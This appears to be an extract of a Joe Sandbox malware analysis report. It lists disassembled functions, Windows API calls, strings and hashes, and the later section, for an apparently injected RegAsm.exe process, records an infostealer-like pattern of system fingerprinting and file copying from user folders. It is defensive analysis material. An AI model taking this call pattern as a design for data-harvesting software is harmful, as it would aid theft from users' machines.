Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 3fceda0168623f710465bb782121c6f1bcf0cdc95573dac907477caba862f0f2
Instruction ID: 1af9958b688302ce99e5c4393fe37f4fb583db23d1b26b5d58d3189ce5fce24f
Opcode Fuzzy Hash: 3fceda0168623f710465bb782121c6f1bcf0cdc95573dac907477caba862f0f2
Instruction Fuzzy Hash: 7151A272600206ABEF249F68CC81FBB3AE9EF04751B1549F9FD04DA291EB31CC549660

Function 00B3A012 Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3A019
std::_Lockit::_Lockit.LIBCPMT ref: 00B3A023

Part of subcall function 00B33BE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B33BEF
Part of subcall function 00B33BE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B33C0A

codecvt.LIBCPMT ref: 00B3A05D
std::_Facet_Register.LIBCPMT ref: 00B3A074
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3A094

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 434b04532799c17d6a12d3a07a3d02ba4eca98ab623b3c14e62c06a9e6e2c782
Instruction ID: 258cf860ccf9fc685446db8328ef595a200ad30fa9b4368e131aa594920d1ca3
Opcode Fuzzy Hash: 434b04532799c17d6a12d3a07a3d02ba4eca98ab623b3c14e62c06a9e6e2c782
Instruction Fuzzy Hash: 4B1100729106199FCB14EB68D845BBEB7F4EF84321F304489E841A7391DFB4AE00CB82

Function 00B394C0 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B394C7
std::_Lockit::_Lockit.LIBCPMT ref: 00B394D2
std::_Lockit::~_Lockit.LIBCPMT ref: 00B39540

Part of subcall function 00B39623: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00B3963B

std::locale::_Setgloballocale.LIBCPMT ref: 00B394ED
_Yarn.LIBCPMT ref: 00B39503

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 103848b6d1453c484cfe2d690c9fe3a52a1db4feb6e263e55abf48597a01fbae
Instruction ID: 5f3c0b313403df5afc362054aaa41305e9c6f37cb86a11c9179c284697bfa07d
Opcode Fuzzy Hash: 103848b6d1453c484cfe2d690c9fe3a52a1db4feb6e263e55abf48597a01fbae
Instruction Fuzzy Hash: 89017175A016109BC70AAF20D846B7C7BF1FF84740F240089E80167391CFB49E42CB96

Function 00B3FB42 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00B662A8,00000000,00000800,?,00B3FAF3,00000000,?,?,?,?,?,00B3FC1D,00000002,FlsGetValue,00B5E068,FlsGetValue), ref: 00B3FB4F
GetLastError.KERNEL32(?,00B3FAF3,00000000,?,?,?,?,?,00B3FC1D,00000002,FlsGetValue,00B5E068,FlsGetValue,00000000,?,00B3EAAD), ref: 00B3FB59
LoadLibraryExW.KERNEL32(00B662A8,00000000,00000000,?,00B662A8,?,?,?,?,?,?,00B66140,?,00B66140,?,00000000), ref: 00B3FB81

Strings

api-ms-, xrefs: 00B3FB66

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 063565bc9245d2c0eb51348fd659c5e544ccbadcabe42bde7b980c8cc2e09a31
Instruction ID: d250a285c7aeed5d26ba5de30009e3c4688ca6249f5e0a02491fc96d8597e8e7
Opcode Fuzzy Hash: 063565bc9245d2c0eb51348fd659c5e544ccbadcabe42bde7b980c8cc2e09a31
Instruction Fuzzy Hash: 99E04870640305FBEF601BB0DC06F2C7E97DB54B55F2440B0FB0CA90E0EB61E9109585

Function 00B4D75D Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(91F9CE25,00000000,00000000,00000000), ref: 00B4D7C0

Part of subcall function 00B5234F: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00B51DA8,?,00000000,-00000008), ref: 00B523FB

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B4DA1B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00B4DA63
GetLastError.KERNEL32 ref: 00B4DB06

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: fb01257c83dbdfaed37e676a97adc6382b22ee41853115904907b63d25c2b7a6
Instruction ID: 26475046995ad534c70e421750082e86cede72307860fa435fa2352315c2d2e5
Opcode Fuzzy Hash: fb01257c83dbdfaed37e676a97adc6382b22ee41853115904907b63d25c2b7a6
Instruction Fuzzy Hash: C4D168B5E002589FCF15CFA8C880AADBBF5FF48304F1845AAE956EB351D730AA41DB50

Function 00B3EB11 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00B3EBD8
___AdjustPointer.LIBCMT ref: 00B3EBFB
___AdjustPointer.LIBCMT ref: 00B3EC97

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 82e8931b42c5b930f06eeeddce9d0df556585fd36cb36a3f3d10355431ffbf32
Instruction ID: 4b17e4fb6444548140ff5b0f0ca78d08a96a65436dbd9b576f4c49c18d982404
Opcode Fuzzy Hash: 82e8931b42c5b930f06eeeddce9d0df556585fd36cb36a3f3d10355431ffbf32
Instruction Fuzzy Hash: F851BF71604606AFDB2A9F54D881BBEB7E4FF44710F7444AAE826972E1E731EC41CB90

Function 00B5A1AD Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00B56AA8,00000000,00000001,00000000,00000000,?,00B4DB5A,00000000,00000000,00000000), ref: 00B5A1C4
GetLastError.KERNEL32(?,00B56AA8,00000000,00000001,00000000,00000000,?,00B4DB5A,00000000,00000000,00000000,00000000,00000000,?,00B4E118,00000000), ref: 00B5A1D0

Part of subcall function 00B5A196: CloseHandle.KERNEL32(FFFFFFFE,00B5A1E0,?,00B56AA8,00000000,00000001,00000000,00000000,?,00B4DB5A,00000000,00000000,00000000,00000000,00000000), ref: 00B5A1A6

___initconout.LIBCMT ref: 00B5A1E0

Part of subcall function 00B5A158: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00B5A187,00B56A95,00000000,?,00B4DB5A,00000000,00000000,00000000,00000000), ref: 00B5A16B

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00B56AA8,00000000,00000001,00000000,00000000,?,00B4DB5A,00000000,00000000,00000000,00000000), ref: 00B5A1F5

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: a46e806b9167e868316c52d953e6f57abb1618f82c7018c1fb5570a39d850d61
Instruction ID: f1fe896a155d84e6c98a722575a60a1bf20fbc226f9f3f75ed3b0ba28e29f439
Opcode Fuzzy Hash: a46e806b9167e868316c52d953e6f57abb1618f82c7018c1fb5570a39d850d61
Instruction Fuzzy Hash: 2BF0A236500658BFCF221F95DC04B9E7F66FB093E6F044590FE19A6161CB318C64EBA1

Function 00B3E800 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00B3E83F
__IsNonwritableInCurrentImage.LIBCMT ref: 00B3E8F3

Strings

csm, xrefs: 00B3E8DD

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 5d25467d5f6a295cc2b1351f5fe8b852f2bda0cfda735c1490af5f870d1a5893
Instruction ID: 9416b42c78b233007e74354f83cb765a3e7495e6399f98d50d6f7c948e87df47
Opcode Fuzzy Hash: 5d25467d5f6a295cc2b1351f5fe8b852f2bda0cfda735c1490af5f870d1a5893
Instruction Fuzzy Hash: 8A417734E002099BCF10DF58C885BAEBBF5EF45314F2485E6E8259B2D1D771DA05CB91

Function 00B3F10D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00B3F132

Strings

MOC, xrefs: 00B3F144
RCC, xrefs: 00B3F14C

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 49e3108144d2976c57f83ba92a9d1932be38c639ee32cf449563eddaf1c93aae
Instruction ID: 0aa538304fd42a6d4a38b8f43708f05d9053a5883e7e6ae8b60d0ce1a4b53420
Opcode Fuzzy Hash: 49e3108144d2976c57f83ba92a9d1932be38c639ee32cf449563eddaf1c93aae
Instruction Fuzzy Hash: 02415776D0020AEFCF15CF98DC81AAEBBB5FF48304F2881A9FA0466251D3359951DB50

Function 00B33230 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B33235
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B3327A

Part of subcall function 00B395BE: _Yarn.LIBCPMT ref: 00B395DD
Part of subcall function 00B395BE: _Yarn.LIBCPMT ref: 00B39601

Strings

bad locale name, xrefs: 00B33288

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 4229b7a7fc049d4ce091a7e6eb2b78b0b2dccea09fb0771a3134338b27b2477c
Instruction ID: 18156b20e1d57d086544940253b0b34b90722ab9b1c03e93b515f588e70d66b0
Opcode Fuzzy Hash: 4229b7a7fc049d4ce091a7e6eb2b78b0b2dccea09fb0771a3134338b27b2477c
Instruction Fuzzy Hash: 22F01D70505B408EE370DF798405743BEE0AF25714F148A9DD4CAC7A51D7B5E508CBA5

Function 00B33BE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B33BEF
std::_Lockit::~_Lockit.LIBCPMT ref: 00B33C0A

Strings

ios_base::badbit set, xrefs: 00B33BE1

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: ios_base::badbit set
API String ID: 593203224-3882152299
Opcode ID: 4262bbc8ccfdc0b3c99e3714aa2ecab3fe2daba9346ebfc691a11dd8f877ee7c
Instruction ID: 318b3ac4191a0d3a4b666aae99a71462fdbeebbabee605cb568dec39bfa452c5
Opcode Fuzzy Hash: 4262bbc8ccfdc0b3c99e3714aa2ecab3fe2daba9346ebfc691a11dd8f877ee7c
Instruction Fuzzy Hash: DFE0EC71510655DFD728DF18DC41BA6B7E4EB28711F20196EE0C593190EBB09D80CB42

Analysis Process: RegAsm.exePID: 6788, Parent PID: 6668COMMON

Execution Graph

Execution Coverage:	16.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	114

Executed Functions

Function 004E06D0 Relevance: 80.4, APIs: 43, Strings: 1, Instructions: 3428registrytimeprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 004E71E0: GetCurrentProcess.KERNEL32(004E0900), ref: 004E71EF
Part of subcall function 004E71E0: IsWow64Process.KERNEL32(00000000), ref: 004E71F6

Part of subcall function 0044196B: GetSystemTimeAsFileTime.KERNEL32(004E0A78,00000000,00000000,?,?,?,004E0A78,00000000), ref: 00441980
Part of subcall function 0044196B: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0044199F

RegOpenKeyExA.KERNEL32(80000002,?,00000000,?,00000000,?,?), ref: 004E0D31
RegQueryValueExA.KERNEL32(00000000,?,00000000,00020019,?,00000400), ref: 004E0DFD
RegCloseKey.ADVAPI32(00000000), ref: 004E0E32
GetCurrentHwProfileA.ADVAPI32(?), ref: 004E0FCA
GetModuleHandleExA.KERNEL32(00000004,004E5FC0,00000000), ref: 004E14CB
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004E14E3
RegOpenKeyExA.KERNEL32(80000002,?,00000000,?,?), ref: 004E1E96
RegQueryValueExA.KERNEL32(?,?,00000000,00020019,?,?), ref: 004E1F62
RegCloseKey.ADVAPI32(?), ref: 004E21E1
GetComputerNameA.KERNEL32(?,00000104), ref: 004E2215
GetUserNameA.ADVAPI32(?,00000104), ref: 004E23B3
GetDesktopWindow.USER32 ref: 004E2456
GetWindowRect.USER32(00000000,?), ref: 004E2464
GetUserDefaultLocaleName.KERNEL32(?,00000200), ref: 004E25CF
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 004E2A95
LocalAlloc.KERNEL32(00000040), ref: 004E2AA7
GetKeyboardLayoutList.USER32(?,00000000), ref: 004E2AC2
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 004E2AED
LocalFree.KERNEL32(?), ref: 004E2CB0
GetLocalTime.KERNEL32(?), ref: 004E2CC7
GetSystemTime.KERNEL32(?), ref: 004E2EDD
GetTimeZoneInformation.KERNEL32(?), ref: 004E2F00
TzSpecificLocalTimeToSystemTime.KERNEL32(?,?,?), ref: 004E2F25
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 004E333F
RegQueryValueExA.KERNEL32(00000000,?,00000000,00020019,?,00000400), ref: 004E3491
RegCloseKey.ADVAPI32(00000000), ref: 004E3542
GetSystemInfo.KERNEL32(?), ref: 004E356A
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 004E361D
EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004E3731
EnumDisplayDevicesA.USER32(00000000,00000001,?,00000001), ref: 004E3B14
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004E3C53
Process32First.KERNEL32(00000000,00000128), ref: 004E3C6B
Process32Next.KERNEL32(00000000,00000128), ref: 004E3C81
Process32Next.KERNEL32(00000000,?), ref: 004E3D53
CloseHandle.KERNEL32(00000000), ref: 004E3D62
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 004E40D6
RegEnumKeyExA.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004E410D
wsprintfA.USER32 ref: 004E41F0
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 004E4213
RegQueryValueExA.KERNEL32(?,?,00000000,000F003F,?,00000400), ref: 004E4312
RegQueryValueExA.KERNEL32(?,?,00000000,000F003F,?,00000400), ref: 004E4409
RegCloseKey.ADVAPI32(?), ref: 004E44E5
RegCloseKey.ADVAPI32(00000000), ref: 004E4500

Strings

;Yb., xrefs: 004E402D

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Time$Close$OpenQueryValue$LocalNameSystem$EnumProcess32$CurrentDevicesDisplayFileHandleInfoKeyboardLayoutListLocaleModuleNextProcessUserWindow$AllocComputerCreateDefaultDesktopFirstFreeGlobalInformationMemoryProfileRectSnapshotSpecificStatusToolhelp32Unothrow_t@std@@@Wow64Zone__ehfuncinfo$??2@wsprintf
String ID: ;Yb.
API String ID: 3690012277-3994988905
Opcode ID: dc053e955180b7d758d5221a5cb925a4403cb30b6501b9111f898489e7c968ec
Instruction ID: dc7450f610ff8aefedfd2d9d6437dce6e22052c90493d9c27a7ed5ed6746c995
Opcode Fuzzy Hash: dc053e955180b7d758d5221a5cb925a4403cb30b6501b9111f898489e7c968ec
Instruction Fuzzy Hash: D093DEB4D0426D8BDB25CF99C981AEEBBB5FF48300F1041AAD909B7351DB345A81CFA5

Function 0045A6B7 Relevance: 54.4, APIs: 20, Strings: 10, Instructions: 1930
sleepsynchronizationnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32(00000000,00000001,00000000), ref: 0045A735
GetLastError.KERNEL32 ref: 0045A74A
Sleep.KERNEL32(00000529), ref: 0045A76B
Sleep.KERNEL32(0000002F), ref: 0045A7F2
shutdown.WS2_32(00000002), ref: 0045A810
closesocket.WS2_32 ref: 0045A81C
WSACleanup.WS2_32 ref: 0045A822
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0045A8E3

Strings

tr 656 56 65 8658 658hfty, xrefs: 0045B509
g 56 58y6, xrefs: 0045C607
4, xrefs: 0045C72C
er er y try rtsdh, xrefs: 0045B249
jjj, xrefs: 0045C62F
h]V, xrefs: 0045ABAC
jjj, xrefs: 0045C61E
ntdll.dll, xrefs: 0045B12B
+([X, xrefs: 0045A8FE
ret 345 fdhg r, xrefs: 0045B157

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Sleep$CleanupCreateErrorLastMutexUnothrow_t@std@@@__ehfuncinfo$??2@closesocketshutdown
String ID: +([X$4$er er y try rtsdh$g 56 58y6$h]V$jjj$jjj$ntdll.dll$ret 345 fdhg r$tr 656 56 65 8658 658hfty
API String ID: 2485281039-2630860938
Opcode ID: e99a5ed04e5fc2dc173699449c330c1498b1c285eb6987f745178b948049c441
Instruction ID: 3397d9be428a40b4218df41e5f78525fda186824d8120f9e0eb83ed13be68b32
Opcode Fuzzy Hash: e99a5ed04e5fc2dc173699449c330c1498b1c285eb6987f745178b948049c441
Instruction Fuzzy Hash: D82314B4D052698BCB24DF65C995AEEBBB0AF58304F1041DED409B7381DB386B84CF99

Function 004D7600 Relevance: 52.8, APIs: 31, Instructions: 6337fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,0055B192,000000FF), ref: 004D766C
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 004D7693
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D7959
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D7CBB
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D8DF7
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D9992
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DA31E
CopyFileA.KERNEL32(?,00000000,00000000), ref: 004DA3EF
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DA712
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DAA7D
CopyFileA.KERNEL32(?,00000000,00000000), ref: 004DAB4E
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DAE39
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DB0C9
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DB27C
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DB556
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DB93C
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DBCF1
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DBEA4
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DC17E
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DC564
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D9FB3

Part of subcall function 004DFF00: CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 004E0556
Part of subcall function 004DFF00: GetLastError.KERNEL32 ref: 004E05A0

CreateDirectoryA.KERNEL32(?,00000000), ref: 004DC99C
CopyFileA.KERNEL32(?,00000000,00000000), ref: 004DCAF3

Part of subcall function 004DE430: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 004DE49D

CreateDirectoryA.KERNEL32(?,00000000), ref: 004D9C53

Part of subcall function 004E6770: SetFileAttributesA.KERNEL32(?,00000080,?,?,005894F8,?,?), ref: 004E6A8A
Part of subcall function 004E6770: DeleteFileA.KERNEL32(?), ref: 004E6AA4
Part of subcall function 004E6770: RemoveDirectoryA.KERNEL32(?), ref: 004E6B0B
Part of subcall function 004E6770: std::_Throw_Cpp_error.LIBCPMT ref: 004E6BE7
Part of subcall function 004E6770: std::_Throw_Cpp_error.LIBCPMT ref: 004E6BF8

Part of subcall function 004E6770: GetLastError.KERNEL32 ref: 004E6B20

CreateDirectoryA.KERNEL32(?,00000000), ref: 004D9648

Part of subcall function 004DFF00: FindNextFileA.KERNEL32(00000000,?), ref: 004E056C
Part of subcall function 004DFF00: FindClose.KERNEL32(00000000), ref: 004E057C
Part of subcall function 004DFF00: GetLastError.KERNEL32 ref: 004E0582

CreateDirectoryA.KERNEL32(?,00000000), ref: 004D91DD

Part of subcall function 004E6770: FindNextFileA.KERNELBASE(?,00000010), ref: 004E6AB8
Part of subcall function 004E6770: FindClose.KERNEL32(?), ref: 004E6ACA
Part of subcall function 004E6770: GetLastError.KERNEL32 ref: 004E6AD0
Part of subcall function 004E6770: SetFileAttributesA.KERNEL32(?,00000080), ref: 004E6AED

CreateDirectoryA.KERNEL32(?,00000000), ref: 004D896A

Part of subcall function 004DFF00: CreateDirectoryA.KERNEL32(00000000,00000000,0000002E,0000002F,?,?,?,?,00565B0C,00000001,0000002E,0000002F,?,0055B49C,3"A,0055B49C), ref: 004E03DB

CreateDirectoryA.KERNEL32(?,00000000), ref: 004D8B1D
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D8362

Part of subcall function 004E6770: FindFirstFileA.KERNEL32(00000000,?,005894F8,?,?,?,\*.*,00000004), ref: 004E68E5

CreateDirectoryA.KERNEL32(?,00000000), ref: 004D8623
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D801B

Part of subcall function 004DFF00: FindFirstFileA.KERNEL32(00000000,?), ref: 004E010B

Part of subcall function 004E6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
Part of subcall function 004E6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07

Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D4F
